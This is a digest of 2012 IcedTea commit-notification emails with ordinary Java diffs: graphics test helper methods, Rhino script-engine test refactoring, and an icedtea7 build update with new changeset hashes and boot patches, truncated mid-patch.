http://icedtea.classpath.org/hg/gfx-test?cmd=changeset;node=1f29a0e79a5f author: Pavel Tisnovsky date: Tue Dec 04 09:50:03 2012 +0100 Added new helper methods into src/org/gfxtest/testsuites/Paths.java which will be used by the new tests. diffstat: ChangeLog | 5 + src/org/gfxtest/testsuites/Paths.java | 234 ++++++++++++++++++++++++++++++++++ 2 files changed, 239 insertions(+), 0 deletions(-) diffs (256 lines): diff -r b6ab20d99bbc -r 1f29a0e79a5f ChangeLog --- a/ChangeLog Mon Dec 03 09:33:36 2012 +0100 +++ b/ChangeLog Tue Dec 04 09:50:03 2012 +0100 @@ -1,3 +1,8 @@ +2012-12-04 Pavel Tisnovsky + + * src/org/gfxtest/testsuites/Paths.java: + New helper methods which will be used by the new tests. + 2012-12-03 Pavel Tisnovsky * src/org/gfxtest/testsuites/ClippingPathByEllipseShape.java: diff -r b6ab20d99bbc -r 1f29a0e79a5f src/org/gfxtest/testsuites/Paths.java --- a/src/org/gfxtest/testsuites/Paths.java Mon Dec 03 09:33:36 2012 +0100 +++ b/src/org/gfxtest/testsuites/Paths.java Tue Dec 04 09:50:03 2012 +0100 @@ -72,6 +72,240 @@ { /** + * Draw path consisting of one line only. + * Line path is constructed using new Path.Float() + * + * @param image + * work image + * @param graphics2d + * graphics canvas + */ + private static void drawLinePathFloat(TestImage image, Graphics2D graphics2d) + { + // set stroke color + CommonRenderingStyles.setStrokeColor(graphics2d); + // draw the line path + graphics2d.draw(CommonPathsGenerator.createLinePathFloat(image)); + } + + /** + * Draw path consisting of one line only. + * Line path is constructed using new Path.Double() + * + * @param image + * work image + * @param graphics2d + * graphics canvas + */ + private static void drawLinePathDouble(TestImage image, Graphics2D graphics2d) + { + // set stroke color + CommonRenderingStyles.setStrokeColor(graphics2d); + // draw the line path + graphics2d.draw(CommonPathsGenerator.createLinePathDouble(image)); + } + + /** + * Draw quadratic path. + * Path is constructed using new Path.Float() + * + * @param image + * work image + * @param graphics2d + * graphics canvas + */ + private static void drawQuadraticPathFloat(TestImage image, Graphics2D graphics2d) + { + // set stroke color + CommonRenderingStyles.setStrokeColor(graphics2d); + // draw the quadratic path + graphics2d.draw(CommonPathsGenerator.createQuadraticPathFloat(image)); + } + + /** + * Draw quadratic path. + * Path is constructed using new Path.Double() + * + * @param image + * work image + * @param graphics2d + * graphics canvas + */ + private static void drawQuadraticPathDouble(TestImage image, Graphics2D graphics2d) + { + // set stroke color + CommonRenderingStyles.setStrokeColor(graphics2d); + // draw the quadratic path + graphics2d.draw(CommonPathsGenerator.createQuadraticPathDouble(image)); + } + + /** + * Draw cubic path. + * Path is constructed using new Path.Float() + * + * @param image + * work image + * @param graphics2d + * graphics canvas + */ + private static void drawCubicPathFloat(TestImage image, Graphics2D graphics2d) + { + // set stroke color + CommonRenderingStyles.setStrokeColor(graphics2d); + // draw the cubic path + graphics2d.draw(CommonPathsGenerator.createCubicPathFloat(image)); + } + + /** + * Draw cubic path. + * Path is constructed using new Path.Double() + * + * @param image + * work image + * @param graphics2d + * graphics canvas + */ + private static void drawCubicPathDouble(TestImage image, Graphics2D graphics2d) + { + // set stroke color + CommonRenderingStyles.setStrokeColor(graphics2d); + // draw the cubic path + graphics2d.draw(CommonPathsGenerator.createCubicPathDouble(image)); + } + + /** + * Draw closed path. + * Path is constructed using new Path.Float() + * + * @param image + * work image + * @param graphics2d + * graphics canvas + */ + private static void drawClosedPathFloat(TestImage image, Graphics2D graphics2d) + { + // set stroke color + CommonRenderingStyles.setStrokeColor(graphics2d); + // draw the closed path + graphics2d.draw(CommonPathsGenerator.createClosedPathFloat(image)); + } + + /** + * Draw closed path. + * Path is constructed using new Path.Double() + * + * @param image + * work image + * @param graphics2d + * graphics canvas + */ + private static void drawClosedPathDouble(TestImage image, Graphics2D graphics2d) + { + // set stroke color + CommonRenderingStyles.setStrokeColor(graphics2d); + // draw the closed path + graphics2d.draw(CommonPathsGenerator.createClosedPathDouble(image)); + } + + /** + * Draw crossed path. + * Path is constructed using new Path.Float() + * + * @param image + * work image + * @param graphics2d + * graphics canvas + */ + private static void drawCrossedPathFloat(TestImage image, Graphics2D graphics2d) + { + // set stroke color + CommonRenderingStyles.setStrokeColor(graphics2d); + // draw the crossed path + graphics2d.draw(CommonPathsGenerator.createCrossedClosedPathFloat(image)); + } + + /** + * Draw crossed path. + * Path is constructed using new Path.Double() + * + * @param image + * work image + * @param graphics2d + * graphics canvas + */ + private static void drawCrossedPathDouble(TestImage image, Graphics2D graphics2d) + { + // set stroke color + CommonRenderingStyles.setStrokeColor(graphics2d); + // draw the crossed path + graphics2d.draw(CommonPathsGenerator.createCrossedClosedPathDouble(image)); + } + + /** + * Draw crossed path containing quadratic segment. + * + * @param image + * work image + * @param graphics2d + * graphics canvas + */ + private static void drawCrossedPathFloatContainingQuadraticSegment(TestImage image, Graphics2D graphics2d) + { + // set stroke color + CommonRenderingStyles.setStrokeColor(graphics2d); + // draw the crossed path + graphics2d.draw(CommonPathsGenerator.createCrossedClosedPathContainingQuadraticSegmentFloat(image)); + } + + /** + * Draw crossed path containing quadratic segment. + * + * @param image + * work image + * @param graphics2d + * graphics canvas + */ + private static void drawCrossedPathDoubleContainingQuadraticSegment(TestImage image, Graphics2D graphics2d) + { + // set stroke color + CommonRenderingStyles.setStrokeColor(graphics2d); + // draw the crossed path + graphics2d.draw(CommonPathsGenerator.createCrossedClosedPathContainingQuadraticSegmentDouble(image)); + } + + /** + * Draw crossed path containing cubic segment. + * + * @param image + * work image + * @param graphics2d + * graphics canvas + */ + private static void drawCrossedPathFloatContainingCubicSegment(TestImage image, Graphics2D graphics2d) + { + // set stroke color + CommonRenderingStyles.setStrokeColor(graphics2d); + // draw the crossed path + graphics2d.draw(CommonPathsGenerator.createCrossedClosedPathContainingCubicSegmentFloat(image)); + } + + /** + * Draw crossed path containing cubic segment. + * + * @param image + * work image + * @param graphics2d + * graphics canvas + */ + private static void drawCrossedPathDoubleContainingCubicSegment(TestImage image, Graphics2D graphics2d) + { + // set stroke color + CommonRenderingStyles.setStrokeColor(graphics2d); + // draw the crossed path + graphics2d.draw(CommonPathsGenerator.createCrossedClosedPathContainingCubicSegmentDouble(image)); + } + + /** * Entry point to the test suite. * * @param args From ptisnovs at icedtea.classpath.org Tue Dec 4 01:04:03 2012 From: ptisnovs at icedtea.classpath.org (ptisnovs at icedtea.classpath.org) Date: Tue, 04 Dec 2012 09:04:03 +0000 Subject: /hg/rhino-tests: Refactoring of CompiledScriptTest, added new te... Message-ID: changeset d2384fcf357a in /hg/rhino-tests details: http://icedtea.classpath.org/hg/rhino-tests?cmd=changeset;node=d2384fcf357a author: Pavel Tisnovsky date: Tue Dec 04 10:07:05 2012 +0100 Refactoring of CompiledScriptTest, added new tests, improved error messages. Added new code snippets. diffstat: ChangeLog | 7 +++ src/org/RhinoTests/CompiledScriptTest.java | 63 ++++++++++++++++++++--------- src/org/RhinoTests/JavaScriptSnippets.java | 10 ++++ 3 files changed, 60 insertions(+), 20 deletions(-) diffs (219 lines): diff -r 9561522de605 -r d2384fcf357a ChangeLog --- a/ChangeLog Mon Dec 03 10:02:31 2012 +0100 +++ b/ChangeLog Tue Dec 04 10:07:05 2012 +0100 @@ -1,3 +1,10 @@ +2012-12-04 Pavel Tisnovsky + + * src/org/RhinoTests/CompiledScriptTest.java: + Refactoring, added new tests, improved error messages. + * src/org/RhinoTests/JavaScriptSnippets.java: + Added new code snippets. + 2012-12-03 Pavel Tisnovsky * src/org/RhinoTests/AbstractScriptEngineClassTest.java: diff -r 9561522de605 -r d2384fcf357a src/org/RhinoTests/CompiledScriptTest.java --- a/src/org/RhinoTests/CompiledScriptTest.java Mon Dec 03 10:02:31 2012 +0100 +++ b/src/org/RhinoTests/CompiledScriptTest.java Tue Dec 04 10:07:05 2012 +0100 @@ -122,11 +122,11 @@ * @throws ScriptException * this exception is thrown when this test case failed. */ - protected void testCompileScriptStoredInString() throws ScriptException { + protected void testCompileEmptyScript1StoredInString() throws ScriptException { Compilable compilingEngine = (Compilable)this.scriptEngine; assertNotNull(compilingEngine, "cannot get compiling engine"); if (compilingEngine != null) { - CompiledScript script = compilingEngine.compile(""); + CompiledScript script = compilingEngine.compile(JavaScriptSnippets.EMPTY_SCRIPT_1); assertNotNull(script, "cannot compile script"); } } @@ -138,7 +138,7 @@ * this exception is thrown when this test case failed. */ protected void testCompileAndRunSimpleScriptStoredInString() throws ScriptException { - CompiledScript script = getCompiledScript(""); + CompiledScript script = getCompiledScript(JavaScriptSnippets.EMPTY_SCRIPT_1); Object result = script.eval(); assertNull(result, "result should be null"); } @@ -150,19 +150,20 @@ * this exception is thrown when this test case failed. */ protected void testEvalNumericExpression1() throws ScriptException { - CompiledScript script = getCompiledScript(JavaScriptSnippets.NUMERIC_EXPRESSION_1); + final String expression = JavaScriptSnippets.NUMERIC_EXPRESSION_1; + CompiledScript script = getCompiledScript(expression); Object result = script.eval(); assertNotNull(result, "result should not be null"); assertTrue(result instanceof Number, "result is not an instance of Number"); if (getJavaVersion() >= 7) { assertTrue(result instanceof Double, "result is not an instance of Double"); double doubleResult = ((Double) result).doubleValue(); - assertEquals(doubleResult, 3, "wrong result " + doubleResult); + assertEquals(doubleResult, 3, "wrong result " + doubleResult + " for the expression: '" + expression + "'"); } else { assertTrue(result instanceof Integer, "result is not an instance of Integer"); int integerResult = ((Integer) result).intValue(); - assertEquals(integerResult, 3, "wrong result " + integerResult); + assertEquals(integerResult, 3, "wrong result " + integerResult + " for the expression: '" + expression + "'"); } } @@ -173,19 +174,20 @@ * this exception is thrown when this test case failed. */ protected void testEvalNumericExpression2() throws ScriptException { - CompiledScript script = getCompiledScript(JavaScriptSnippets.NUMERIC_EXPRESSION_2); + final String expression = JavaScriptSnippets.NUMERIC_EXPRESSION_2; + CompiledScript script = getCompiledScript(expression); Object result = script.eval(); assertNotNull(result, "result should not be null"); assertTrue(result instanceof Number, "result is not an instance of Number"); if (getJavaVersion() >= 7) { assertTrue(result instanceof Double, "result is not an instance of Double"); double doubleResult = ((Double) result).doubleValue(); - assertEquals(doubleResult, 6, "wrong result " + doubleResult); + assertEquals(doubleResult, 6, "wrong result " + doubleResult + " for the expression: '" + expression + "'"); } else { assertTrue(result instanceof Integer, "result is not an instance of Integer"); int integerResult = ((Integer) result).intValue(); - assertEquals(integerResult, 6, "wrong result " + integerResult); + assertEquals(integerResult, 6, "wrong result " + integerResult + " for the expression: '" + expression + "'"); } } @@ -196,19 +198,20 @@ * this exception is thrown when this test case failed. */ protected void testEvalNumericExpression3() throws ScriptException { - CompiledScript script = getCompiledScript(JavaScriptSnippets.NUMERIC_EXPRESSION_3); + final String expression = JavaScriptSnippets.NUMERIC_EXPRESSION_3; + CompiledScript script = getCompiledScript(expression); Object result = script.eval(); assertNotNull(result, "result should not be null"); assertTrue(result instanceof Number, "result is not an instance of Number"); if (getJavaVersion() >= 7) { assertTrue(result instanceof Double, "result is not an instance of Double"); double doubleResult = ((Double) result).doubleValue(); - assertEquals(doubleResult, 7, "wrong result " + doubleResult); + assertEquals(doubleResult, 7, "wrong result " + doubleResult + " for the expression: '" + expression + "'"); } else { assertTrue(result instanceof Integer, "result is not an instance of Integer"); int integerResult = ((Integer) result).intValue(); - assertEquals(integerResult, 7, "wrong result " + integerResult); + assertEquals(integerResult, 7, "wrong result " + integerResult + " for the expression: '" + expression + "'"); } } @@ -219,12 +222,13 @@ * this exception is thrown when this test case failed. */ protected void testEvalDoubleExpression1() throws ScriptException { - CompiledScript script = getCompiledScript(JavaScriptSnippets.DOUBLE_NUMERIC_EXPRESSION_1); + final String expression = JavaScriptSnippets.DOUBLE_NUMERIC_EXPRESSION_1; + CompiledScript script = getCompiledScript(expression); Object result = script.eval(); assertTrue(result instanceof Number, "result is not an instance of Number"); assertTrue(result instanceof Double, "result is not an instance of Integer"); double doubleResult = ((Double) result).doubleValue(); - assertEquals(doubleResult, 0.5f, "wrong result " + doubleResult); + assertEquals(doubleResult, 0.5f, "wrong result " + doubleResult + " for the expression: '" + expression + "'"); } /** @@ -234,12 +238,13 @@ * this exception is thrown when this test case failed. */ protected void testEvalDoubleExpression2() throws ScriptException { - CompiledScript script = getCompiledScript(JavaScriptSnippets.DOUBLE_NUMERIC_EXPRESSION_2); + final String expression = JavaScriptSnippets.DOUBLE_NUMERIC_EXPRESSION_2; + CompiledScript script = getCompiledScript(expression); Object result = script.eval(); assertTrue(result instanceof Number, "result is not an instance of Number"); assertTrue(result instanceof Double, "result is not an instance of Integer"); double doubleResult = ((Double) result).doubleValue(); - assertEquals(doubleResult, 0.5f, "wrong result " + doubleResult); + assertEquals(doubleResult, 0.5f, "wrong result " + doubleResult + " for the expression: '" + expression + "'"); } /** @@ -249,12 +254,13 @@ * this exception is thrown when this test case failed. */ protected void testEvalDoubleExpression3() throws ScriptException { - CompiledScript script = getCompiledScript(JavaScriptSnippets.DOUBLE_NUMERIC_EXPRESSION_3); + final String expression = JavaScriptSnippets.DOUBLE_NUMERIC_EXPRESSION_3; + CompiledScript script = getCompiledScript(expression); Object result = script.eval(); assertTrue(result instanceof Number, "result is not an instance of Number"); assertTrue(result instanceof Double, "result is not an instance of Integer"); double doubleResult = ((Double) result).doubleValue(); - assertEquals(doubleResult, 0.5f, "wrong result " + doubleResult); + assertEquals(doubleResult, 0.5f, "wrong result " + doubleResult + " for the expression: '" + expression + "'"); } /** @@ -264,12 +270,13 @@ * this exception is thrown when this test case failed. */ protected void testEvalStringExpression1() throws ScriptException { - CompiledScript script = getCompiledScript("'Hello' + ' ' + 'world'"); + final String expression = JavaScriptSnippets.STRING_EXPRESSION_1; + CompiledScript script = getCompiledScript(expression); Object result = script.eval(); assertNotNull(result, "result should not be null"); assertTrue(result instanceof String, "result is not an instance of String"); String stringResult = (String)result; - assertEquals(stringResult, "Hello world", "wrong result " + stringResult); + assertEquals(stringResult, "Hello", "wrong result " + stringResult + " for the expression: '" + expression + "'"); } /** @@ -279,6 +286,22 @@ * this exception is thrown when this test case failed. */ protected void testEvalStringExpression2() throws ScriptException { + final String expression = JavaScriptSnippets.STRING_EXPRESSION_2; + CompiledScript script = getCompiledScript(expression); + Object result = script.eval(); + assertNotNull(result, "result should not be null"); + assertTrue(result instanceof String, "result is not an instance of String"); + String stringResult = (String)result; + assertEquals(stringResult, "Hello world", "wrong result " + stringResult + " for the expression: '" + expression + "'"); + } + + /** + * Test if it is possible to compile and then run script from a string. + * + * @throws ScriptException + * this exception is thrown when this test case failed. + */ + protected void testEvalStringExpression3() throws ScriptException { CompiledScript script = getCompiledScript("'Hello world!'.substring(4, 7)"); Object result = script.eval(); assertNotNull(result, "result should not be null"); diff -r 9561522de605 -r d2384fcf357a src/org/RhinoTests/JavaScriptSnippets.java --- a/src/org/RhinoTests/JavaScriptSnippets.java Mon Dec 03 10:02:31 2012 +0100 +++ b/src/org/RhinoTests/JavaScriptSnippets.java Tue Dec 04 10:07:05 2012 +0100 @@ -148,6 +148,16 @@ protected static final String DOUBLE_NUMERIC_EXPRESSION_3 = "1./2."; /** + * String expression (containing only string literal). + */ + protected static final String STRING_EXPRESSION_1 = "'Hello'"; + + /** + * String expression. + */ + protected static final String STRING_EXPRESSION_2 = "'Hello' + ' ' + 'world'"; + + /** * Classical hello world program. */ protected static final String HELLO_WORLD_1 = "println('\tHello world!')"; From andrew at icedtea.classpath.org Tue Dec 4 03:00:50 2012 From: andrew at icedtea.classpath.org (andrew at icedtea.classpath.org) Date: Tue, 04 Dec 2012 11:00:50 +0000 Subject: /hg/icedtea7: 2 new changesets Message-ID: changeset 0c27c75ce37c in /hg/icedtea7 details: http://icedtea.classpath.org/hg/icedtea7?cmd=changeset;node=0c27c75ce37c author: Andrew John Hughes date: Thu Nov 29 04:33:36 2012 +0000 Update NEWS with latest fixes. 2012-11-29 Andrew John Hughes * NEWS: Updated. changeset ff15cee90ed8 in /hg/icedtea7 details: http://icedtea.classpath.org/hg/icedtea7?cmd=changeset;node=ff15cee90ed8 author: Andrew John Hughes date: Tue Dec 04 11:00:41 2012 +0000 Update to u12 b03 from IcedTea7 forest. 2012-12-04 Andrew John Hughes * patches/boot/ecj-opts.patch: Remove unused patch. * Makefile.am: (OPENJDK_VERSION): Set to b03. (JDK_UPDATE_VERSION): Set to u12. (CORBA_CHANGESET): Update to IcedTea7 forest head. (JAXP_CHANGESET): Likewise. (JAXWS_CHANGESET): Likewise. (JDK_CHANGESET): Likewise. (LANGTOOLS_CHANGESET): Likewise. (OPENJDK_CHANGESET): Likewise. (CORBA_SHA256SUM): Likewise. (JAXP_SHA256SUM): Likewise. (JAXWS_SHA256SUM): Likewise. (JDK_SHA256SUM): Likewise. (LANGTOOLS_SHA256SUM): Likewise. (OPENJDK_SHA256SUM): Likewise. (ICEDTEA_BOOT_PATCHES): Add new patch. * hotspot.map: Update to latest HotSpot in IcedTea7 forest. * patches/boot/ecj-autoboxing.patch, * patches/boot/ecj-diamond.patch, * patches/boot/ecj-multicatch.patch, * patches/boot/ecj-stringswitch.patch, * patches/boot/ecj-trywithresources.patch: Updated to handle latest updates, mainly in java.lang.invoke but also in sun.print. * patches/boot/ecj-odd.patch: New patch due to Throwable being thrown without a throws clause; odd that this passes with javac. * patches/systemtap_gc.patch: Regenerated. diffstat: ChangeLog | 39 + Makefile.am | 31 +- NEWS | 3 + hotspot.map | 2 +- patches/boot/ecj-autoboxing.patch | 443 +++++------- patches/boot/ecj-diamond.patch | 1059 +++++++++++++++++------------- patches/boot/ecj-multicatch.patch | 233 ++++-- patches/boot/ecj-odd.patch | 12 + patches/boot/ecj-opts.patch | 12 - patches/boot/ecj-stringswitch.patch | 168 ++++ patches/boot/ecj-trywithresources.patch | 117 +++ patches/systemtap_gc.patch | 484 +++++++------ 12 files changed, 1552 insertions(+), 1051 deletions(-) diffs (truncated from 4414 to 500 lines): diff -r 293d04f4c449 -r ff15cee90ed8 ChangeLog --- a/ChangeLog Thu Nov 29 04:20:36 2012 +0000 +++ b/ChangeLog Tue Dec 04 11:00:41 2012 +0000 @@ -1,3 +1,41 @@ +2012-12-04 Andrew John Hughes + + * patches/boot/ecj-opts.patch: + Remove unused patch. + * Makefile.am: + (OPENJDK_VERSION): Set to b03. + (JDK_UPDATE_VERSION): Set to u12. + (CORBA_CHANGESET): Update to IcedTea7 forest head. + (JAXP_CHANGESET): Likewise. + (JAXWS_CHANGESET): Likewise. + (JDK_CHANGESET): Likewise. + (LANGTOOLS_CHANGESET): Likewise. + (OPENJDK_CHANGESET): Likewise. + (CORBA_SHA256SUM): Likewise. + (JAXP_SHA256SUM): Likewise. + (JAXWS_SHA256SUM): Likewise. + (JDK_SHA256SUM): Likewise. + (LANGTOOLS_SHA256SUM): Likewise. + (OPENJDK_SHA256SUM): Likewise. + (ICEDTEA_BOOT_PATCHES): Add new patch. + * hotspot.map: + Update to latest HotSpot in IcedTea7 forest. + * patches/boot/ecj-autoboxing.patch, + * patches/boot/ecj-diamond.patch, + * patches/boot/ecj-multicatch.patch, + * patches/boot/ecj-stringswitch.patch, + * patches/boot/ecj-trywithresources.patch: + Updated to handle latest updates, mainly + in java.lang.invoke but also in sun.print. + * patches/boot/ecj-odd.patch: + New patch due to Throwable being thrown without + a throws clause; odd that this passes with javac. + * patches/systemtap_gc.patch: Regenerated. + +2012-11-29 Andrew John Hughes + + * NEWS: Updated. + 2012-11-29 Andrew John Hughes PR1197 @@ -15,6 +53,7 @@ 2012-11-07 Andrew John Hughes + PR1206, PR1209, PR473: * patches/systemtap.patch: Removed. * INSTALL: Update SystemTap documentation. * Makefile.am: diff -r 293d04f4c449 -r ff15cee90ed8 Makefile.am --- a/Makefile.am Thu Nov 29 04:20:36 2012 +0000 +++ b/Makefile.am Tue Dec 04 11:00:41 2012 +0000 @@ -1,22 +1,22 @@ # Dependencies -OPENJDK_VERSION = b09 -JDK_UPDATE_VERSION = 10 +OPENJDK_VERSION = b03 +JDK_UPDATE_VERSION = 12 COMBINED_VERSION = $(JDK_UPDATE_VERSION)-$(OPENJDK_VERSION) -CORBA_CHANGESET = 1285389d6969 -JAXP_CHANGESET = 8e9679984e79 -JAXWS_CHANGESET = bbd4ecb4bbcb -JDK_CHANGESET = c6a90ff85ffc -LANGTOOLS_CHANGESET = 79e875e2dca3 -OPENJDK_CHANGESET = 0fa8b0b4ca26 +CORBA_CHANGESET = c76fd939af52 +JAXP_CHANGESET = ff514c638d9c +JAXWS_CHANGESET = c24ace5f1fd8 +JDK_CHANGESET = b10e1311a206 +LANGTOOLS_CHANGESET = a4f9ef26ecb2 +OPENJDK_CHANGESET = af7f3ffa51f0 -CORBA_SHA256SUM = 880683c950e833a792d4c36059af4f8a4a50dc8fb9d773831bd9cd4578f2f2f7 -JAXP_SHA256SUM = ead7718f52579c1c096ed7e853582b2622ad7e64afbf9d360eae6af55de58377 -JAXWS_SHA256SUM = 78d4e79dc8b08bfd5940f02990e9664c296242dfcef4b5e820f93744e98e7e2d -JDK_SHA256SUM = 014ec54f8315f4511cfb7a0bf71ef5ecd05d7ac879063fe0f50f570fba3b8981 -LANGTOOLS_SHA256SUM = 42444bf6a314d1914013b826d8137d6edf9843c14011cec5a4761289d1846a3d -OPENJDK_SHA256SUM = acab74106ee2670962b048cd4f1b7cfbb0f55340477cd625b7cb40c6bc99036c +CORBA_SHA256SUM = 66b69e1c9ef33fd241e7aafc718acc23c690961644fed1d13c85b6a29cfecf7b +JAXP_SHA256SUM = b409e5656e6194c4d559d435e5ab0ec4ce2723c12e958f9ba429478719fe2db4 +JAXWS_SHA256SUM = f1732dca7254e8f3c00116eb2cd1fdcd44b6d1da1b19537f23e610acad6764b4 +JDK_SHA256SUM = 654a1fd889d17a8a6fd0a6f3fda697f18e7a0d81a4baff45f3c96014524bbb54 +LANGTOOLS_SHA256SUM = 224feb6a121c3da9a9e4c592c966bf9f2bfab589bb614419d4ca176248f08bc8 +OPENJDK_SHA256SUM = 21aaf8e746fcf51535b9e42b9ab0546c4de2dd3d1846d10b9123f16939f0ca6b CACAO_VERSION = a567bcb7f589 CACAO_SHA256SUM = d49f79debc131a5694cae6ab3ba2864e7f3249ee8d9dc09aae8afdd4dc6b09f9 @@ -336,7 +336,8 @@ patches/boot/ecj-multicatch.patch \ patches/boot/ecj-trywithresources.patch \ patches/boot/ecj-autoboxing.patch \ - patches/boot/xsltproc.patch + patches/boot/xsltproc.patch \ + patches/boot/ecj-odd.patch if !WITH_PAX ICEDTEA_BOOT_PATCHES += patches/boot/test_gamma.patch diff -r 293d04f4c449 -r ff15cee90ed8 NEWS --- a/NEWS Thu Nov 29 04:20:36 2012 +0000 +++ b/NEWS Tue Dec 04 11:00:41 2012 +0000 @@ -14,8 +14,11 @@ * Backports - PR1197, S8003120: ResourceManager.getApplicationResources() does not close InputStreams + - PR1206, S7201205: Add Makefile configuration option to build with unlimited crypto in OpenJDK + - PR1209, S7170638: Use DTRACE_PROBE[N] in JNI Set and SetStatic Field. * Bug fixes - PR1212: IcedTea7 fails to build because Resources.getText() is no longer available for code to use + - PR473: NSS PKCS11 regression - due to java.security automatic loading New in release 2.3.3 (2012-10-17): diff -r 293d04f4c449 -r ff15cee90ed8 hotspot.map --- a/hotspot.map Thu Nov 29 04:20:36 2012 +0000 +++ b/hotspot.map Tue Dec 04 11:00:41 2012 +0000 @@ -1,3 +1,3 @@ # version url changeset sha256sum -default http://icedtea.classpath.org/hg/icedtea7-forest/hotspot 807df5d59cd5 f1059d749d50cd73c034289517c26d6f0012bbc3d49c9e364af61e50eea3aee0 +default http://icedtea.classpath.org/hg/icedtea7-forest/hotspot 2f82d59ddf61 1d38e0229d4318b51a16242f9091547e20e58065c9f7cc2b1dd7f2d5dcfa2a20 zero http://icedtea.classpath.org/hg/release/icedtea7-forest-2.1/hotspot a456d0771ba0 09a64fca0beff0759ef1b461d63ed6a00e43032972781bb3a55e49d8b93f67d0 diff -r 293d04f4c449 -r ff15cee90ed8 patches/boot/ecj-autoboxing.patch --- a/patches/boot/ecj-autoboxing.patch Thu Nov 29 04:20:36 2012 +0000 +++ b/patches/boot/ecj-autoboxing.patch Tue Dec 04 11:00:41 2012 +0000 @@ -1,7 +1,7 @@ diff -Nru openjdk-boot.orig/jdk/src/share/classes/java/lang/invoke/CallSite.java openjdk-boot/jdk/src/share/classes/java/lang/invoke/CallSite.java ---- openjdk-boot.orig/jdk/src/share/classes/java/lang/invoke/CallSite.java 2011-07-12 12:43:47.000000000 +0100 -+++ openjdk-boot/jdk/src/share/classes/java/lang/invoke/CallSite.java 2011-07-12 15:12:13.210932096 +0100 -@@ -329,7 +329,7 @@ +--- openjdk-boot.orig/jdk/src/share/classes/java/lang/invoke/CallSite.java 2012-11-30 12:17:08.000000000 +0000 ++++ openjdk-boot/jdk/src/share/classes/java/lang/invoke/CallSite.java 2012-11-30 15:01:56.540165063 +0000 +@@ -303,7 +303,7 @@ private static Object maybeReBox(Object x) { if (x instanceof Integer) { @@ -10,261 +10,10 @@ if (xi == (byte) xi) x = xi; // must rebox; see JLS 5.1.7 } -diff -Nru openjdk-boot.orig/jdk/src/share/classes/java/lang/invoke/FromGeneric.java openjdk-boot/jdk/src/share/classes/java/lang/invoke/FromGeneric.java ---- openjdk-boot.orig/jdk/src/share/classes/java/lang/invoke/FromGeneric.java 2011-06-11 00:38:08.000000000 +0100 -+++ openjdk-boot/jdk/src/share/classes/java/lang/invoke/FromGeneric.java 2011-07-12 15:12:13.210932096 +0100 -@@ -505,10 +505,10 @@ - protected A0 makeInstance(MethodHandle e, MethodHandle i, MethodHandle c, MethodHandle t) - { return new A0(e, i, c, t); } - protected Object invoke_L0() throws Throwable { return convert_L((Object)invoker.invokeExact(target)); } -- protected Object invoke_I0() throws Throwable { return convert_I((int) invoker.invokeExact(target)); } -- protected Object invoke_J0() throws Throwable { return convert_J((long) invoker.invokeExact(target)); } -- protected Object invoke_F0() throws Throwable { return convert_F((float) invoker.invokeExact(target)); } -- protected Object invoke_D0() throws Throwable { return convert_D((double)invoker.invokeExact(target)); } -+ protected Object invoke_I0() throws Throwable { return convert_I((Integer) invoker.invokeExact(target)); } -+ protected Object invoke_J0() throws Throwable { return convert_J((Long) invoker.invokeExact(target)); } -+ protected Object invoke_F0() throws Throwable { return convert_F((Float) invoker.invokeExact(target)); } -+ protected Object invoke_D0() throws Throwable { return convert_D((Double)invoker.invokeExact(target)); } - } - static class A1 extends Adapter { - protected A1(MethodHandle entryPoint) { super(entryPoint); } // to build prototype -@@ -517,10 +517,10 @@ - protected A1 makeInstance(MethodHandle e, MethodHandle i, MethodHandle c, MethodHandle t) - { return new A1(e, i, c, t); } - protected Object invoke_L1(Object a0) throws Throwable { return convert_L((Object)invoker.invokeExact(target, a0)); } -- protected Object invoke_I1(Object a0) throws Throwable { return convert_I((int) invoker.invokeExact(target, a0)); } -- protected Object invoke_J1(Object a0) throws Throwable { return convert_J((long) invoker.invokeExact(target, a0)); } -- protected Object invoke_F1(Object a0) throws Throwable { return convert_F((float) invoker.invokeExact(target, a0)); } -- protected Object invoke_D1(Object a0) throws Throwable { return convert_D((double)invoker.invokeExact(target, a0)); } -+ protected Object invoke_I1(Object a0) throws Throwable { return convert_I((Integer) invoker.invokeExact(target, a0)); } -+ protected Object invoke_J1(Object a0) throws Throwable { return convert_J((Long) invoker.invokeExact(target, a0)); } -+ protected Object invoke_F1(Object a0) throws Throwable { return convert_F((Float) invoker.invokeExact(target, a0)); } -+ protected Object invoke_D1(Object a0) throws Throwable { return convert_D((Double)invoker.invokeExact(target, a0)); } - } - static class A2 extends Adapter { - protected A2(MethodHandle entryPoint) { super(entryPoint); } // to build prototype -@@ -529,10 +529,10 @@ - protected A2 makeInstance(MethodHandle e, MethodHandle i, MethodHandle c, MethodHandle t) - { return new A2(e, i, c, t); } - protected Object invoke_L2(Object a0, Object a1) throws Throwable { return convert_L((Object)invoker.invokeExact(target, a0, a1)); } -- protected Object invoke_I2(Object a0, Object a1) throws Throwable { return convert_I((int) invoker.invokeExact(target, a0, a1)); } -- protected Object invoke_J2(Object a0, Object a1) throws Throwable { return convert_J((long) invoker.invokeExact(target, a0, a1)); } -- protected Object invoke_F2(Object a0, Object a1) throws Throwable { return convert_F((float) invoker.invokeExact(target, a0, a1)); } -- protected Object invoke_D2(Object a0, Object a1) throws Throwable { return convert_D((double)invoker.invokeExact(target, a0, a1)); } -+ protected Object invoke_I2(Object a0, Object a1) throws Throwable { return convert_I((Integer) invoker.invokeExact(target, a0, a1)); } -+ protected Object invoke_J2(Object a0, Object a1) throws Throwable { return convert_J((Long) invoker.invokeExact(target, a0, a1)); } -+ protected Object invoke_F2(Object a0, Object a1) throws Throwable { return convert_F((Float) invoker.invokeExact(target, a0, a1)); } -+ protected Object invoke_D2(Object a0, Object a1) throws Throwable { return convert_D((Double)invoker.invokeExact(target, a0, a1)); } - } - static class A3 extends Adapter { - protected A3(MethodHandle entryPoint) { super(entryPoint); } // to build prototype -@@ -541,10 +541,10 @@ - protected A3 makeInstance(MethodHandle e, MethodHandle i, MethodHandle c, MethodHandle t) - { return new A3(e, i, c, t); } - protected Object invoke_L3(Object a0, Object a1, Object a2) throws Throwable { return convert_L((Object)invoker.invokeExact(target, a0, a1, a2)); } -- protected Object invoke_I3(Object a0, Object a1, Object a2) throws Throwable { return convert_I((int) invoker.invokeExact(target, a0, a1, a2)); } -- protected Object invoke_J3(Object a0, Object a1, Object a2) throws Throwable { return convert_J((long) invoker.invokeExact(target, a0, a1, a2)); } -- protected Object invoke_F3(Object a0, Object a1, Object a2) throws Throwable { return convert_F((float) invoker.invokeExact(target, a0, a1, a2)); } -- protected Object invoke_D3(Object a0, Object a1, Object a2) throws Throwable { return convert_D((double)invoker.invokeExact(target, a0, a1, a2)); } -+ protected Object invoke_I3(Object a0, Object 